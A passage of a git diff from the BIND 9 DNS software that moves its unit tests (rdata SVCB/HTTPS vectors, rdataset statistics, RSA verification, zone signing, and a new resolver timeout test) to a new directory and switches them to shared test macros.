+		  "ipv4hint=192.0.2.1",
+		  "\\# 48 ( 00 10 03 66 6f 6f 07 65 78 61 6d 70 6c 65 03 6f 72 "
+		  "67 00 00 00 00 04 00 01 00 04 00 01 00 09 02 68 32 05 68 33 "
+		  "2d 31 39 00 04 00 04 c0 00 02 01 )" },
+		/*
+		 * Quoted ALPN with escaped comma and backslash.
+		 * 16 foo.example.org alpn="f\\\\oo\\,bar,h2"
+		 */
+		{ "16 foo.example.org alpn=\"f\\\\\\\\oo\\\\,bar,h2\"",
+		  "\\# 35 ( 00 10 03 66 6f 6f 07 65 78 61 6d 70 6c 65 03 6f 72 "
+		  "67 00 00 01 00 0c 08 66 5c 6f 6f 2c 62 61 72 02 68 32 )" },
+		/*
+		 * Unquoted ALPN with escaped comma and backslash.
+		 * 16 foo.example.org alpn=f\\\092oo\092,bar,h2
+		 */
+		{ "16 foo.example.org alpn=f\\\\\\092oo\\092,bar,h2",
+		  "\\# 35 ( 00 10 03 66 6f 6f 07 65 78 61 6d 70 6c 65 03 6f 72 "
+		  "67 00 00 01 00 0c 08 66 5c 6f 6f 2c 62 61 72 02 68 32 )" },
+		{ NULL, NULL }
+	};
+
+	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
+		    dns_rdatatype_svcb, sizeof(dns_rdata_in_svcb_t));
+	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
+		    dns_rdatatype_https, sizeof(dns_rdata_in_https_t));
+
+	check_textvsunknown(textvsunknown, dns_rdataclass_in,
+			    dns_rdatatype_svcb);
+	check_textvsunknown(textvsunknown, dns_rdataclass_in,
+			    dns_rdatatype_https);
+}
+
 /*
  * ZONEMD tests.
  *
@@ -2497,8 +2883,7 @@ wks(void **state) {
  *
  */
 
-static void
-zonemd(void **state) {
+ISC_RUN_TEST_IMPL(zonemd) {
 	text_ok_t text_ok[] = {
 		TEXT_INVALID(""),
 		/* No digest scheme or digest type*/
@@ -2665,16 +3050,13 @@ zonemd(void **state) {
 		WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_zonemd, sizeof(dns_rdata_zonemd_t));
 }
 
-static void
-atcname(void **state) {
+ISC_RUN_TEST_IMPL(atcname) {
 	unsigned int i;
-	UNUSED(state);
+
 #define UNR "# Unexpected result from dns_rdatatype_atcname for type %u\n"
 	for (i = 0; i < 0xffffU; i++) {
 		bool tf = dns_rdatatype_atcname((dns_rdatatype_t)i);
@@ -2698,10 +3080,9 @@ atcname(void **state) {
 #undef UNR
 }
 
-static void
-atparent(void **state) {
+ISC_RUN_TEST_IMPL(atparent) {
 	unsigned int i;
-	UNUSED(state);
+
 #define UNR "# Unexpected result from dns_rdatatype_atparent for type %u\n"
 	for (i = 0; i < 0xffffU; i++) {
 		bool tf = dns_rdatatype_atparent((dns_rdatatype_t)i);
@@ -2723,10 +3104,8 @@ atparent(void **state) {
 #undef UNR
 }
 
-static void
-iszonecutauth(void **state) {
+ISC_RUN_TEST_IMPL(iszonecutauth) {
 	unsigned int i;
-	UNUSED(state);
 #define UNR "# Unexpected result from dns_rdatatype_iszonecutauth for type %u\n"
 	for (i = 0; i < 0xffffU; i++) {
 		bool tf = dns_rdatatype_iszonecutauth((dns_rdatatype_t)i);
@@ -2752,84 +3131,37 @@ iszonecutauth(void **state) {
 #undef UNR
 }
 
-int
-main(int argc, char **argv) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(amtrelay, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(apl, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(atma, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(cdnskey, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(csync, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(doa, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(dnskey, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(ds, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(eid, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(edns_client_subnet, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(hip, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(isdn, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(key, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(loc, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(nimloc, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(nsec, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(nsec3, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(nxt, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(sshfp, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(wks, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(rkey, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(zonemd, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(atcname, NULL, NULL),
-		cmocka_unit_test_setup_teardown(atparent, NULL, NULL),
-		cmocka_unit_test_setup_teardown(iszonecutauth, NULL, NULL),
-	};
-	struct CMUnitTest selected[sizeof(tests) / sizeof(tests[0])];
-	size_t i;
-	int c;
-
-	memset(selected, 0, sizeof(selected));
-
-	while ((c = isc_commandline_parse(argc, argv, "dlt:")) != -1) {
-		switch (c) {
-		case 'd':
-			debug = true;
-			break;
-		case 'l':
-			for (i = 0; i < (sizeof(tests) / sizeof(tests[0])); i++)
-			{
-				if (tests[i].name != NULL) {
-					fprintf(stdout, "%s\n", tests[i].name);
-				}
-			}
-			return (0);
-		case 't':
-			if (!cmocka_add_test_byname(
-				    tests, isc_commandline_argument, selected))
-			{
-				fprintf(stderr, "unknown test '%s'\n",
-					isc_commandline_argument);
-				exit(1);
-			}
-			break;
-		default:
-			break;
-		}
-	}
-
-	if (selected[0].name != NULL) {
-		return (cmocka_run_group_tests(selected, NULL, NULL));
-	} else {
-		return (cmocka_run_group_tests(tests, NULL, NULL));
-	}
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_LIST_START
+
+/* types */
+ISC_TEST_ENTRY(amtrelay)
+ISC_TEST_ENTRY(apl)
+ISC_TEST_ENTRY(atma)
+ISC_TEST_ENTRY(cdnskey)
+ISC_TEST_ENTRY(csync)
+ISC_TEST_ENTRY(dnskey)
+ISC_TEST_ENTRY(doa)
+ISC_TEST_ENTRY(ds)
+ISC_TEST_ENTRY(eid)
+ISC_TEST_ENTRY(hip)
+ISC_TEST_ENTRY(https_svcb)
+ISC_TEST_ENTRY(isdn)
+ISC_TEST_ENTRY(key)
+ISC_TEST_ENTRY(loc)
+ISC_TEST_ENTRY(nimloc)
+ISC_TEST_ENTRY(nsec)
+ISC_TEST_ENTRY(nsec3)
+ISC_TEST_ENTRY(nxt)
+ISC_TEST_ENTRY(rkey)
+ISC_TEST_ENTRY(sshfp)
+ISC_TEST_ENTRY(wks)
+ISC_TEST_ENTRY(zonemd)
+
+/* other tests */
+ISC_TEST_ENTRY(edns_client_subnet)
+ISC_TEST_ENTRY(atcname)
+ISC_TEST_ENTRY(atparent)
+ISC_TEST_ENTRY(iszonecutauth)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/rdataset_test.c b/tests/dns/rdataset_test.c
similarity index 78%
rename from lib/dns/tests/rdataset_test.c
rename to tests/dns/rdataset_test.c
index 72b6fd3946..fc21b29f9d 100644
--- a/lib/dns/tests/rdataset_test.c
+++ b/tests/dns/rdataset_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -27,32 +28,10 @@
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
 
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
+#include <tests/dns.h>
 
 /* test trimming of rdataset TTLs */
-static void
-trimttl(void **state) {
+ISC_RUN_TEST_IMPL(trimttl) {
 	dns_rdataset_t rdataset, sigrdataset;
 	dns_rdata_rrsig_t rrsig;
 	isc_stdtime_t ttltimenow, ttltimeexpire;
@@ -122,23 +101,8 @@ trimttl(void **state) {
 	assert_int_equal(sigrdataset.ttl, 0);
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(trimttl, _setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(trimttl)
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/rdatasetstats_test.c b/tests/dns/rdatasetstats_test.c
similarity index 84%
rename from lib/dns/tests/rdatasetstats_test.c
rename to tests/dns/rdatasetstats_test.c
index a6df467e8e..8cfbebcc9a 100644
--- a/lib/dns/tests/rdatasetstats_test.c
+++ b/tests/dns/rdatasetstats_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,6 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
 #include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
@@ -24,33 +24,11 @@
 #define UNIT_TESTING
 #include <cmocka.h>
 
-#include <isc/print.h>
 #include <isc/util.h>
 
 #include <dns/stats.h>
 
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
+#include <tests/dns.h>
 
 static void
 set_typestats(dns_stats_t *stats, dns_rdatatype_t type) {
@@ -133,7 +111,7 @@ verify_active_counters(dns_rdatastatstype_t which, uint64_t value, void *arg) {
 		ATTRIBUTE_SET(DNS_RDATASTATSTYPE_ATTR_ANCIENT) ? "~" : " ",
 		ATTRIBUTE_SET(DNS_RDATASTATSTYPE_ATTR_STALE) ? "#" : " ",
 		ATTRIBUTE_SET(DNS_RDATASTATSTYPE_ATTR_NXDOMAIN) ? "X" : " ",
-		type, (unsigned)value);
+		type, (unsigned int)value);
 #endif /* if debug */
 	if ((attributes & DNS_RDATASTATSTYPE_ATTR_ANCIENT) == 0 &&
 	    (attributes & DNS_RDATASTATSTYPE_ATTR_STALE) == 0)
@@ -164,7 +142,7 @@ verify_stale_counters(dns_rdatastatstype_t which, uint64_t value, void *arg) {
 		ATTRIBUTE_SET(DNS_RDATASTATSTYPE_ATTR_ANCIENT) ? "~" : " ",
 		ATTRIBUTE_SET(DNS_RDATASTATSTYPE_ATTR_STALE) ? "#" : " ",
 		ATTRIBUTE_SET(DNS_RDATASTATSTYPE_ATTR_NXDOMAIN) ? "X" : " ",
-		type, (unsigned)value);
+		type, (unsigned int)value);
 #endif /* if debug */
 	if ((attributes & DNS_RDATASTATSTYPE_ATTR_STALE) != 0) {
 		assert_int_equal(value, 1);
@@ -193,7 +171,7 @@ verify_ancient_counters(dns_rdatastatstype_t which, uint64_t value, void *arg) {
 		ATTRIBUTE_SET(DNS_RDATASTATSTYPE_ATTR_ANCIENT) ? "~" : " ",
 		ATTRIBUTE_SET(DNS_RDATASTATSTYPE_ATTR_STALE) ? "#" : " ",
 		ATTRIBUTE_SET(DNS_RDATASTATSTYPE_ATTR_NXDOMAIN) ? "X" : " ",
-		type, (unsigned)value);
+		type, (unsigned int)value);
 #endif /* if debug */
 	if ((attributes & DNS_RDATASTATSTYPE_ATTR_ANCIENT) != 0) {
 		assert_int_equal(value, 1);
@@ -210,16 +188,12 @@ verify_ancient_counters(dns_rdatastatstype_t which, uint64_t value, void *arg) {
  * active -> stale -> ancient.
  */
 static void
-rdatasetstats(void **state, bool servestale) {
+rdatasetstats(void **state ISC_ATTR_UNUSED, bool servestale) {
 	unsigned int i;
 	unsigned int from = 0;
 	dns_stats_t *stats = NULL;
-	isc_result_t result;
 
-	UNUSED(state);
-
-	result = dns_rdatasetstats_create(dt_mctx, &stats);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	dns_rdatasetstats_create(mctx, &stats);
 
 	/* First 255 types. */
 	for (i = 1; i <= 255; i++) {
@@ -270,41 +244,17 @@ rdatasetstats(void **state, bool servestale) {
  * Test that rdatasetstats counters are properly set when moving from
  * active -> stale -> ancient.
  */
-static void
-test_rdatasetstats_active_stale_ancient(void **state) {
-	rdatasetstats(state, true);
-}
+ISC_RUN_TEST_IMPL(active_stale_ancient) { rdatasetstats(state, true); }
 
 /*
  * Test that rdatasetstats counters are properly set when moving from
  * active -> ancient.
  */
-static void
-test_rdatasetstats_active_ancient(void **state) {
-	rdatasetstats(state, false);
-}
+ISC_RUN_TEST_IMPL(active_ancient) { rdatasetstats(state, false); }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(
-			test_rdatasetstats_active_stale_ancient, _setup,
-			_teardown),
-		cmocka_unit_test_setup_teardown(
-			test_rdatasetstats_active_ancient, _setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(active_stale_ancient)
+ISC_TEST_ENTRY(active_ancient)
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/dns/resolver_test.c b/tests/dns/resolver_test.c
new file mode 100644
index 0000000000..09106aadd6
--- /dev/null
+++ b/tests/dns/resolver_test.c
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/net.h>
+#include <isc/timer.h>
+#include <isc/tls.h>
+#include <isc/util.h>
+
+#include <dns/dispatch.h>
+#include <dns/name.h>
+#include <dns/resolver.h>
+#include <dns/view.h>
+
+#include <tests/dns.h>
+
+static dns_dispatch_t *dispatch = NULL;
+static dns_view_t *view = NULL;
+static isc_tlsctx_cache_t *tlsctx_cache = NULL;
+
+static int
+setup_test(void **state) {
+	isc_result_t result;
+	isc_sockaddr_t local;
+	dns_dispatchmgr_t *dispatchmgr = NULL;
+
+	setup_managers(state);
+
+	result = dns_test_makeview("view", true, false, &view);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dispatchmgr = dns_view_getdispatchmgr(view);
+	assert_non_null(dispatchmgr);
+
+	isc_sockaddr_any(&local);
+	result = dns_dispatch_createudp(dispatchmgr, &local, &dispatch);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_dispatchmgr_detach(&dispatchmgr);
+
+	return (0);
+}
+
+static int
+teardown_test(void **state) {
+	dns_dispatch_detach(&dispatch);
+	dns_view_detach(&view);
+	teardown_managers(state);
+
+	return (0);
+}
+
+static void
+mkres(dns_resolver_t **resolverp) {
+	isc_result_t result;
+
+	isc_tlsctx_cache_create(mctx, &tlsctx_cache);
+	result = dns_resolver_create(view, loopmgr, 1, netmgr, 0, tlsctx_cache,
+				     dispatch, NULL, resolverp);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+static void
+destroy_resolver(dns_resolver_t **resolverp) {
+	dns_resolver_shutdown(*resolverp);
+	dns_resolver_detach(resolverp);
+	if (tlsctx_cache != NULL) {
+		isc_tlsctx_cache_detach(&tlsctx_cache);
+	}
+}
+
+/* dns_resolver_create */
+ISC_LOOP_TEST_IMPL(create) {
+	dns_resolver_t *resolver = NULL;
+
+	mkres(&resolver);
+	destroy_resolver(&resolver);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* dns_resolver_gettimeout */
+ISC_LOOP_TEST_IMPL(gettimeout) {
+	dns_resolver_t *resolver = NULL;
+	unsigned int timeout;
+
+	mkres(&resolver);
+
+	timeout = dns_resolver_gettimeout(resolver);
+	assert_true(timeout > 0);
+
+	destroy_resolver(&resolver);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* dns_resolver_settimeout */
+ISC_LOOP_TEST_IMPL(settimeout) {
+	dns_resolver_t *resolver = NULL;
+	unsigned int default_timeout, timeout;
+
+	mkres(&resolver);
+
+	default_timeout = dns_resolver_gettimeout(resolver);
+	dns_resolver_settimeout(resolver, default_timeout + 1);
+	timeout = dns_resolver_gettimeout(resolver);
+	assert_true(timeout == default_timeout + 1);
+
+	destroy_resolver(&resolver);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* dns_resolver_settimeout */
+ISC_LOOP_TEST_IMPL(settimeout_default) {
+	dns_resolver_t *resolver = NULL;
+	unsigned int default_timeout, timeout;
+
+	mkres(&resolver);
+
+	default_timeout = dns_resolver_gettimeout(resolver);
+	dns_resolver_settimeout(resolver, default_timeout + 100);
+
+	timeout = dns_resolver_gettimeout(resolver);
+	assert_int_equal(timeout, default_timeout + 100);
+
+	dns_resolver_settimeout(resolver, 0);
+	timeout = dns_resolver_gettimeout(resolver);
+	assert_int_equal(timeout, default_timeout);
+
+	destroy_resolver(&resolver);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* dns_resolver_settimeout below minimum */
+ISC_LOOP_TEST_IMPL(settimeout_belowmin) {
+	dns_resolver_t *resolver = NULL;
+	unsigned int default_timeout, timeout;
+
+	mkres(&resolver);
+
+	default_timeout = dns_resolver_gettimeout(resolver);
+	dns_resolver_settimeout(resolver, 9000);
+
+	timeout = dns_resolver_gettimeout(resolver);
+	assert_int_equal(timeout, default_timeout);
+
+	destroy_resolver(&resolver);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* dns_resolver_settimeout over maximum */
+ISC_LOOP_TEST_IMPL(settimeout_overmax) {
+	dns_resolver_t *resolver = NULL;
+	unsigned int timeout;
+
+	mkres(&resolver);
+
+	dns_resolver_settimeout(resolver, 4000000);
+	timeout = dns_resolver_gettimeout(resolver);
+	assert_in_range(timeout, 0, 3999999);
+	destroy_resolver(&resolver);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(create, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(gettimeout, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(settimeout, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(settimeout_default, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(settimeout_belowmin, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(settimeout_overmax, setup_test, teardown_test)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/rsa_test.c b/tests/dns/rsa_test.c
similarity index 82%
rename from lib/dns/tests/rsa_test.c
rename to tests/dns/rsa_test.c
index 74b7bf5961..c9895690d4 100644
--- a/lib/dns/tests/rsa_test.c
+++ b/tests/dns/rsa_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -20,34 +21,42 @@
 #include <string.h>
 #include <unistd.h>
 
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
 #define UNIT_TESTING
 #include <cmocka.h>
 
-#include <isc/print.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
+#include "dst_internal.h"
 
-#include "../dst_internal.h"
-#include "dnstest.h"
+#include <tests/dns.h>
 
 static int
-_setup(void **state) {
+setup_test(void **state) {
 	isc_result_t result;
 
 	UNUSED(state);
 
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dst_lib_init(mctx, NULL);
+
+	if (result != ISC_R_SUCCESS) {
+		return (1);
+	}
 
 	return (0);
 }
 
 static int
-_teardown(void **state) {
+teardown_test(void **state) {
 	UNUSED(state);
 
-	dns_test_end();
+	dst_lib_destroy();
 
 	return (0);
 }
@@ -131,8 +140,7 @@ static unsigned char sigsha512[512] = {
 };
 
 /* RSA verify */
-static void
-isc_rsa_verify_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_rsa_verify) {
 	isc_result_t ret;
 	dns_fixedname_t fname;
 	isc_buffer_t buf;
@@ -149,33 +157,36 @@ isc_rsa_verify_test(void **state) {
 	ret = dns_name_fromtext(name, &buf, NULL, 0, NULL);
 	assert_int_equal(ret, ISC_R_SUCCESS);
 
-	ret = dst_key_fromfile(name, 29235, DST_ALG_RSASHA1, DST_TYPE_PUBLIC,
-			       "./", dt_mctx, &key);
+	ret = dst_key_fromfile(name, 29238, DST_ALG_RSASHA256, DST_TYPE_PUBLIC,
+			       TESTS_DIR, mctx, &key);
 	assert_int_equal(ret, ISC_R_SUCCESS);
 
-	/* RSASHA1 */
+	/* RSASHA1 - May not be supported by the OS */
+	if (dst_algorithm_supported(DST_ALG_RSASHA1)) {
+		key->key_alg = DST_ALG_RSASHA1;
 
-	ret = dst_context_create(key, dt_mctx, DNS_LOGCATEGORY_DNSSEC, false, 0,
-				 &ctx);
-	assert_int_equal(ret, ISC_R_SUCCESS);
+		ret = dst_context_create(key, mctx, DNS_LOGCATEGORY_DNSSEC,
+					 false, 0, &ctx);
+		assert_int_equal(ret, ISC_R_SUCCESS);
 
-	r.base = d;
-	r.length = 10;
-	ret = dst_context_adddata(ctx, &r);
-	assert_int_equal(ret, ISC_R_SUCCESS);
+		r.base = d;
+		r.length = 10;
+		ret = dst_context_adddata(ctx, &r);
+		assert_int_equal(ret, ISC_R_SUCCESS);
 
-	r.base = sigsha1;
-	r.length = 256;
-	ret = dst_context_verify(ctx, &r);
-	assert_int_equal(ret, ISC_R_SUCCESS);
+		r.base = sigsha1;
+		r.length = 256;
+		ret = dst_context_verify(ctx, &r);
+		assert_int_equal(ret, ISC_R_SUCCESS);
 
-	dst_context_destroy(&ctx);
+		dst_context_destroy(&ctx);
+	}
 
 	/* RSASHA256 */
 
 	key->key_alg = DST_ALG_RSASHA256;
 
-	ret = dst_context_create(key, dt_mctx, DNS_LOGCATEGORY_DNSSEC, false, 0,
+	ret = dst_context_create(key, mctx, DNS_LOGCATEGORY_DNSSEC, false, 0,
 				 &ctx);
 	assert_int_equal(ret, ISC_R_SUCCESS);
 
@@ -195,7 +206,7 @@ isc_rsa_verify_test(void **state) {
 
 	key->key_alg = DST_ALG_RSASHA512;
 
-	ret = dst_context_create(key, dt_mctx, DNS_LOGCATEGORY_DNSSEC, false, 0,
+	ret = dst_context_create(key, mctx, DNS_LOGCATEGORY_DNSSEC, false, 0,
 				 &ctx);
 	assert_int_equal(ret, ISC_R_SUCCESS);
 
@@ -214,24 +225,8 @@ isc_rsa_verify_test(void **state) {
 	dst_key_free(&key);
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(isc_rsa_verify_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(isc_rsa_verify, setup_test, teardown_test)
+ISC_TEST_LIST_END
 
-#endif /* HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/sigs_test.c b/tests/dns/sigs_test.c
similarity index 91%
rename from lib/dns/tests/sigs_test.c
rename to tests/dns/sigs_test.c
index 9c59afa770..94d94fbb39 100644
--- a/lib/dns/tests/sigs_test.c
+++ b/tests/dns/sigs_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -38,35 +39,14 @@
 #include <dns/rdata.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/types.h>
 #include <dns/zone.h>
 
 #include <dst/dst.h>
 
-#include "../zone_p.h"
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
+#include "zone_p.h"
 
-	dns_test_end();
-
-	return (0);
-}
+#include <tests/dns.h>
 
 /*%
  * Structure characterizing a single diff tuple in the dns_diff_t structure
@@ -94,6 +74,30 @@ typedef struct {
 				      * */
 } updatesigs_test_params_t;
 
+static int
+setup_test(void **state) {
+	isc_result_t result;
+
+	UNUSED(state);
+
+	result = dst_lib_init(mctx, NULL);
+
+	if (result != ISC_R_SUCCESS) {
+		return (1);
+	}
+
+	return (0);
+}
+
+static int
+teardown_test(void **state) {
+	UNUSED(state);
+
+	dst_lib_destroy();
+
+	return (0);
+}
+
 /*%
  * Check whether the 'found' tuple matches the 'expected' tuple.  'found' is
  * the 'index'th tuple output by dns__zone_updatesigs() in test 'test'.
@@ -125,8 +129,8 @@ compare_tuples(const zonediff_t *expected, dns_difftuple_t *found,
 	 * Check owner name.
 	 */
 	expected_name = dns_fixedname_initname(&expected_fname);
-	result = dns_name_fromstring(expected_name, expected->owner, 0,
-				     dt_mctx);
+	result = dns_name_fromstring(expected_name, expected->owner,
+				     dns_rootname, 0, mctx);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	dns_name_format(&found->name, found_name, sizeof(found_name));
 	assert_true(dns_name_equal(expected_name, &found->name));
@@ -234,14 +238,14 @@ updatesigs_test(const updatesigs_test_params_t *test, dns_zone_t *zone,
 	/*
 	 * Initialize the structure dns__zone_updatesigs() will modify.
 	 */
-	dns_diff_init(dt_mctx, &zone_diff);
+	dns_diff_init(mctx, &zone_diff);
 
 	/*
 	 * Check whether dns__zone_updatesigs() behaves as expected.
 	 */
 	result = dns__zone_updatesigs(&raw_diff, db, version, zone_keys, nkeys,
 				      zone, now - 3600, now + 3600, 0, now,
-				      true, false, &zonediff);
+				      &zonediff);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_true(ISC_LIST_EMPTY(raw_diff.tuples));
 	assert_false(ISC_LIST_EMPTY(zone_diff.tuples));
@@ -286,14 +290,13 @@ updatesigs_test(const updatesigs_test_params_t *test, dns_zone_t *zone,
 }
 
 /* dns__zone_updatesigs() tests */
-static void
-updatesigs_next_test(void **state) {
+ISC_RUN_TEST_IMPL(updatesigs_next) {
 	dst_key_t *zone_keys[DNS_MAXZONEKEYS];
 	dns_zone_t *zone = NULL;
 	dns_db_t *db = NULL;
 	isc_result_t result;
 	unsigned int nkeys;
-	isc_stdtime_t now;
